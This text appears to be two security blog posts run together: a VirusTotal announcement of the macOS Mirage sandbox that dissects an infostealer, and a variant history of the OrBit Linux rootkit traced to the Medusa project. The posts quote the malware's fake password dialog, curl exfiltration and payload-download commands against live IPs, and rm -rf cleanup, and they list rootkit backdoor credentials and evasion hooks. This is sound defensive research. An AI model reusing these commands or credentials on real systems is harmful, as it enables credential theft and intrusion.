In November 2015, we released our first in-house macOS sandbox, Box of Apples, followed by an update in March 2018 that introduced HTML behavior reports, desktop screenshots, and process trees. Over the past decade, the macOS ecosystem and the threat landscape targeting it have changed dramatically. Apple transitioned its hardware architecture from Intel (x86_64) to Apple Silicon (ARM64), hardened its operating system security model, and deprecated legacy dynamic tracing mechanisms. At the same time, macOS threat actors have shifted toward native ARM64 binaries, multi-stage social engineering installers, credential-harvesting AppleScripts, and evasive infostealers.
Today, we are excited to introduce macOS Mirage, our brand-new, ground-up dynamic analysis sandbox built natively for Apple Silicon and macOS 26. macOS Mirage replaces Box of Apples as part of the VirusTotal Multi-Sandbox project, delivering high-fidelity behavioral telemetry, automated Sigma behavioral detections mapped to MITRE ATT&CK, and—exclusively within our Private Scanning product offering—full Interactive Live Analysis.
Why We Built macOS Mirage: Beyond Box of Apples
Box of Apples was designed for an era of Intel-based Macs and relied on dtrace scripts to monitor system calls. As macOS evolved, two structural shifts required a completely new approach:
Native Apple Silicon (ARM64) Execution: Modern macOS applications and malware families are compiled natively for Apple Silicon or distributed as Universal Mach-O binaries. Running modern samples on legacy Intel hardware either fails outright or misses architecture-specific execution paths. macOS Mirage runs natively on bare-metal Apple Silicon hardware with Apple's native virtualization stack and macOS 26, ensuring authentic execution fidelity.
Modern Kernel-Backed Behavioral Telemetry: In modern macOS releases, System Integrity Protection (SIP) restricts legacy dtrace hooks, and high syscall volumes could cause event drops. macOS Mirage uses modern, kernel-supported macOS security instrumentation to capture process creation, command-line arguments, file system modifications, persistence installation, and access to sensitive credential stores without losing events.
Live Mouse, Keyboard & Clipboard Control(Private Scanning exclusive)
Rich GUI Execution and Persistence Tracking
Many macOS samples package their payloads inside disk images (.dmg) or application bundles (.app) that initialize graphical windows, register background services, or trigger system notifications during execution. macOS Mirage provides full graphics acceleration and desktop monitoring, capturing both visual screenshots and underlying system modifications in real time.
Figure 1: Dynamic detonation of a macOS application in macOS Mirage, capturing both the application GUI and a macOS system notification alerting to a newly registered persistent background Login Item.
Figure 2: Full window management, 3D rendering, and Dock process tracking inside macOS Mirage.
In addition to capturing screenshots to show what a user would see on screen, macOS Mirage automatically monitors security-sensitive locations across the operating system, including:
Persistence Mechanisms:LaunchAgents, LaunchDaemons, Login Items, and cron jobs.
Shell & Environment Profiles: Modifications to .zshrc, .bashrc, .zshenv, and /etc/profile.
Credential & Privacy Stores: Unauthorized access to Keychain databases (login.keychain-db), browser cookie and credential stores, SSH keys, and the Transparency, Consent, and Control (TCC.db) database.
System & Network Configuration: Changes to /etc/hosts, /etc/resolv.conf, and /private/etc/sudoers.
New Behavioral Detections with Sigma Rules: Catching a macOS Info-Stealer in Action
To help analysts quickly identify malicious behavior without sifting through thousands of raw file and process events, macOS Mirage evaluates runtime telemetry against a curated library of macOS Sigma rules and maps every detection directly to MITRE ATT&CK techniques.
When executed inside macOS Mirage, the binary (unix51436504) performs a multi-stage credential theft and persistence chain:
AppleScript Password Phishing: The malware invokes /usr/bin/osascript to display a deceptive system prompt titled "Password Request" asking the user: "Please enter device password to continue."
Local Credential Validation & LaunchDaemon Persistence: It validates the harvested password against local Directory Services (dscl . authonly) and invokes sudo -S to copy /tmp/daemonplist to /Library/LaunchDaemons/com.somedaemon.plist.
Keychain, Browser & Notes Harvesting: The sample opens the user's Keychain (/Users/admin/Library/Keychains/login.keychain-db), Safari cookies (Cookies.binarycookies), Apple Notes database (NoteStore.sqlite), SSH keys (authorized_keys, known_hosts), and .zsh_history, staging the stolen files under /tmp/lksopo while continuously polling the clipboard via pbpaste.
Secondary Payload Download, Exfiltration & Cleanup: Using ditto, the malware compresses the staging directory into /tmp/lksopo.zip, exfiltrates the archive via an HTTP POST request (curl -X POST), downloads a secondary bot payload (curl -o /tmp/binaryexe), and deletes the staging directory (rm -rf /tmp/lksopo) to cover its tracks.
From this single detonation, macOS Mirage automatically generates a high-confidence malicious verdict (macos_osascript_credential_phishing) and triggers 7 distinct Sigma rules spanning the entire attack lifecycle:
Sigma Rule Name
Severity
MITRE ATT&CK
Matched Behavioral Telemetry
macos_osascript_credential_phishing
High
T1059.002, T1056.002
Execution of /usr/bin/osascript displaying fake password prompt: osascript -e set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution
macos_sensitive_credential_store_access
High
T1555.001, T1555.003, T1005
Unauthorized access by ./unix51436504 to /Users/admin/Library/Keychains/login.keychain-db and Safari Cookies.binarycookies
macos_esf_sensitive_file_access
High
T1555.001, T1555.003, T1005
Access to /private/etc/sudoers during privileged persistence installation: sudo -S cp /tmp/daemonplist /Library/LaunchDaemons/com.somedaemon.plist
macos_esf_suspicious_curl_download
Medium
T1105, T1071.001
Downloading secondary stage payload via curl -o /tmp/binaryexe http://193.178.159.129/web/bot
macos_network_upload_activity
Medium
T1041, T1567
Exfiltrating compressed credential archive via curl -X POST -H buildid: ... --data-binary @/tmp/lksopo.zip http://109.238.87.111/log
macos_data_destruction_tools
Medium
T1485, T1070.004
Anti-forensic removal of staging directory via rm -rf /tmp/lksopo
macos_http_tools_with_protocol_indicators
Low
T1071.001, T1105
Automated curl command-line execution with explicit http:// C2 protocol indicators
Hunting Related Threats with VirusTotal Intelligence Pivots
At the time of analysis, sample be77bca22f078d57058535ddcf26a39a752a8df030392cb45ba6a60e06651878 was detected by only 6 out of 76 static antivirus engines. Moreover, during execution inside macOS Mirage, the first-stage dropper downloaded and executed a 12.9 MB universal Mach-O second-stage bot (f7dcdc4167ec267aef007f9d5f98e9e0314185e5355effd3e304b6fa686ea84c) alongside a LaunchDaemon persistence property list (d7dd630f67e03d2945185838dca887211ea3693c91fc0bd0d2e257948bb3b678, 0/75 AV detections). When that second-stage binary is detonated in isolation, it exits in under a second because it depends on hidden state files (~/.bhost, ~/.phost, ~/.username, ~/.pwd) written to disk by the first-stage dropper. Because macOS Mirage tracks the full multi-stage process tree on macOS 26, analysts can pivot directly on runtime command lines, dropped artifacts, network URI patterns, and Sigma detections across VirusTotal Intelligence to uncover entire clusters of active macOS campaigns. For a complete reference of supported file and behavior query syntax, see the VirusTotal Search Modifiers Full List.
1. Process & Command-Line Pivots (behaviour_processes)
Custom Exfiltration curl Headers: Hunts samples exfiltrating staged archives with custom buildid: and username: HTTP headers across rotating C2 servers: behaviour_processes:"curl -X POST -H buildid:"
Exfiltration Collector Server: Pivots on samples posting stolen Keychain, Safari cookie, and Notes archives to 109.238.87.111: behaviour_network:109.238.87.111
Second-Stage Bot C2 Server: Pivots on samples retrieving /web/bot and polling /api/v1/bot/actions/ on 193.178.159.129: behaviour_network:193.178.159.129
Interactive Live Analysis (Exclusive to Private Scanning)
While automated dynamic analysis and Sigma behavioral detections are available on VirusTotal reports, sophisticated macOS threats often require human interaction to detonate completely. Malware may hide behind multi-step custom installer wizards, require a password to unlock a disk image, or pause execution until realistic user input is provided—just like the "Password Request" dialog shown above.
To empower incident responders and malware analysts, Interactive Live Analysis with macOS Mirage is available exclusively as part of our Private Scanning product offering in Google Threat Intelligence and VirusTotal Enterprise:
Real-Time Mouse & Keyboard Control: Analysts can step directly into the running macOS 26 desktop inside their web browser to click buttons, navigate prompts, open Terminal, or manually interact with suspicious applications.
Host-to-Guest Clipboard ("Send as Keystrokes"): Analysts can paste passwords, decryption keys, URLs, or terminal commands from their local workstation directly into the sandbox VM as simulated keystrokes.
Extended Session Timeouts & Network Control: Interactive sessions can run for extended durations (up to 30 minutes) and can be configured with custom network routing modes—including full isolation, simulated internet services, HTTPS MITM inspection, or Tor routing.
Complete Tenant Privacy: All files, interactive sessions, screenshots, and behavioral reports generated in Private Scanning remain strictly isolated within your organization's private environment and are never shared publicly.
Figure 4: Selecting macOS Mirage and enabling Live Interaction inside the Private Scanning configuration modal.
Figure 5: Using the "Send as keystrokes" clipboard bridge during a live interactive macOS Mirage session in Private Scanning.
Try It Out and Share Your Feedback
macOS Mirage is part of our ongoing commitment to expanding multi-platform dynamic analysis across VirusTotal and Google Threat Intelligence. To view the new behavioral reports on public samples, navigate to the Behavior tab on any macOS file report in VirusTotal to inspect process trees, file system changes, network activity, screenshots, and Sigma rule matches. Enterprise customers using Private Scanning can select MacOS Mirage directly from the scan configuration dialog to launch automated or live interactive sessions.
If you find any issues or have feature requests, please don't hesitate to contact us.
In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.
It wasn’t. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit’s four-year evolution is not one of novel development; it’s the story of how a publicly available rootkit was forked, configured, and redeployed.
Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured “Lineage A” build that tracks closely with the 2022 original, and a lite “Lineage B” fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.
This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.
Background: What is OrBit?
For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.
Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkit’s own hooks.
July 2022
Hash
XOR
Working dir
SSH Username
SSH Password
# Exports
# Hooks
Dropper
40b5127c
0xA2
/lib/libntpVnQE6mk/
2l8
c4ss0ul3tt3
66
54
f1612924
We will refer to this variant as Lineage A “Full” build of OrBit.
OrBit variants through the years
In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample’s SHA-256. At the bottom of the blog, you can find the full list of IOCs.
December 2022
The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path.
All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.
The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).
The rootkit’s hook surface stayed stable.
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Dropper
ec7462c3
0xA2
/lib/libseconf/
adm1n
asdfasdf
67
53
8ea420d9
Samples From 2023
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Dropper
d419a9b1
0xA2
/lib/fuckwhitehatshome/
fuckwhitehatsuser
fuckwhitehatspass
67
53
296d28eb
0xA2
/lib/libseconf/
adm1n
asdfasdf
65
54
3ba6c174
0xA2
/lib/libseconf/
adm1n
(not present)
54
49
26082cd3
4203271c
0xA2
/lib/libseconf/
b4ph0m3t0
(not present)
54
49
The d419a9b1 sample stands out for the operator’s choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.
The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; it’s a wrapper that calls syscall(SYS_read) directly, bypassing the rootkit’s own hooked read().
The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit’s filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit’s presence. The hook ensures that programs continue to function normally while the rootkit’s read interception remains active for standard libc callers.
Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.
The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.
Samples From 2024
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Dropper
eea274ed
0xAA
/lib64/libseconf/
Y0u4reCu6e
1qaz@WSX3edc123
66
54
a6138638
0xAA
/lib/locate/
Y0u4reCu6e
1qaz@WSX3edc123
66
54
a34299a1
0xA2
/lib/libseconf/
rebel
(not present)
56
49
b1dd18a6
0xA2
/lib/libseconf/
Gestuff
(not present)
54
49
fc2e0cb6
989f7eb4
0xA2
/lib/libseconf/
adm1n
(not present)
54
49
48a68d05
2024 is the most diverse epoch in OrBit’s timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.
eea274ed / a6138638: Lineage A, 0xAA key rotation
These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for the’ execve’ function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.
Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes:
Credential harvesting is saved in remote.txt.
This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing).
The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred.
a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation
These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.
989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it.
Samples From 2025
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Role
8e83cbb2
0xA2
/lib/libseconf/
infinity
302010
66
54
payload .so
2b2eeb22
0xA2
/lib/libseconf/
adm1n
asdfasdf
64
54
payload .so (extracted from d3d204c1)
84828f31
0xA2
/lib/libseconf/
adm1n
asdfasdf
64
54
truncated copy of2b2eeb22
090b15fd
—
—
—
—
—
—
dropper (carries 8e83cbb2)
64a3ebd3
—
—
—
—
—
—
dropper (carries 8e83cbb2)
b85ed157
—
—
—
—
—
—
dropper (carries 8e83cbb2)
d3d204c1
—
—
—
—
—
—
dropper (carries 2b2eeb22)
73b95b7d
n/a
—
—
—
—
—
infector (carries 090b15fd as inner ELF)
The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit’s return to the 0xA2 encryption key after the 2024 0xAA experiment.
Two distinct rootkit .so builds are present in 2025, both Lineage A:
8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023).
2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.
XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (×2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638‘s missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.
Dropper Samples
090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022).
73b95b7d: A New Dropper Architecture
73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector → dropper → rootkit.
The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infector’s role is propagation and persistence; the dropper’s role is to extract and install the rootkit .so via ld.so.preload.
The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:
/bin/ls
All 64-bit ELF files in the current working directory that have read/write access.
Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.
This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor.
This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence.
The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.
The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware.
Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784).
Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.
The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.
Shared BANNER_0_HASH-IP value.Resolution of http://cf0[.]pw
Samples From February 2026
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
04c06be0
0xA2
/lib/libseconf/
jokerteam
HACK89SERVER
64
54
d7b487d2
0xA2
/lib/libseconf/
57ill4Cu63
1qaz@WSX3edc098
64
54
These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set.
No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.
Connection to BLOCKADE SPIDER
In CrowdStrike’s 2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.
BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.
Origin: OrBit is a fork of the Medusa open-source rootkit
Mandiant’s reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022.
Mandiant’s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886’s MEDUSA binary, is direct cross-attribution: Mandiant’s “MEDUSA” sample set and our “OrBit” 2024 cluster are the same builds.
We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.
Evidence of the fork
The first is a function-set and export match. Compiling Medusa’s src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa’s build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c.
The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusa’s source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024).
$ readelf -s ec7462c3f4a874… | awk ‘/FILE LOCAL/’
25: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
34: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkld.c
40: 0000000000000000 0 FILE LOCAL DEFAULT ABS rknet.c
46: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
$ readelf -s 3ba6c174a72e4b… | awk ‘/FILE LOCAL/’
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
9: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkld.c
15: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
$ readelf -s 26082cd36fdaf7… | awk ‘/FILE LOCAL/’
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
9: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkload.c
14: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus.
Alongside the filename fingerprint, the loader’s entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source.
The third is an embedded inner ELF produced by xxd -i. Medusa’s Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBit’s loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.
Per-Module Source Mapping
Medusa’s source tree maps cleanly onto the OrBit binary set we have tracked:
Medusa source
Role
Corresponding OrBit artifact
src/rkld.c
Main rootkit (libc hooks, PAM harvest, file/proc/net hiding)
Not compiled in the default Makefile. Linked in only in Lineage A “full” builds.
The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to “arrive” in OrBit between 2023 and 2025 was already present as source in Medusa’s src/rknet.c on day one of the public release. The operators’ work was to modify the Makefile to link rknet.c into their build, not to author those functions.
Timeline Anomaly
Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repository’s publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.
Implications
The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.
Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written.
Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out.
The string table produced by Medusa’s xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table’s shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen.
The filesystem skeleton that the loader’s build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly.
The nested-ELF structure produced by the xxd – +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loader’s .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive “second ELF at non-zero offset plus length constant” rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loader’s symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.
Conclusion
The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (“Full” build), which links in Medusa’s src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent “milestones” in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusa’s published source. The operator work is in the build configuration and deployment, not the C code.
